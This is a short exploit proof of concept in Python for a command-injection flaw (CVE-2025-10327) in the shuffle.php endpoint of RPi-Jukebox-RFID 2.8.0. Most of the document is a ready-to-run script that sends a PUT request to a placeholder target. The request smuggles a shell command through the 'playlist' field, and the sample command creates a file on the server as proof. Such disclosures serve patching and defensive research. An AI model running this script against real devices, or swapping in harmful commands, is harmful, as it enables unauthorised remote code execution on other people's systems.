# Exploit Title: RPi-Jukebox-RFID 2.8.0 - Remote Code Execution # Date: 2025-09-25 # Exploit Author: Beatriz Fresno Naumova # Vendor Homepage: https://github.com/MiczFlor/RPi-Jukebox-RFID # Software Link: https://github.com/MiczFlor/RPi-Jukebox-RFID/releases/tag/v2.8.0 # Version: 2.8.0 # Tested on: Raspberry Pi OS with RPi-Jukebox-RFID v2.8.0 # CVE: CVE-2025-10327 # # Description: # This PoC demonstrates an OS command injection vulnerability in the shuffle.php API endpoint. # The vulnerable parameter "playlist" is passed directly to a shell command without sanitization, # allowing an attacker to execute arbitrary system commands. import requests import json # Replace this with the actual target IP or hostname TARGET = "http://YOUR-TARGET-IP/phoniebox/api/playlist/shuffle.php" # Payload to inject – here we create a file as proof of execution INJECTED_COMMAND = "test';touch rced_by_xu17.txt;echo '" # JSON payload for the request payload = { "playlist": INJECTED_COMMAND, "shuffle": "true" } # HTTP headers headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } def exploit(): print("[+] Sending malicious JSON payload to trigger command injection...") try: response = requests.put(TARGET, headers=headers, data=json.dumps(payload), timeout=5) print(f"[+] HTTP Status Code: {response.status_code}") print("[*] If the target is vulnerable, the command should be executed on the server.") except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": exploit()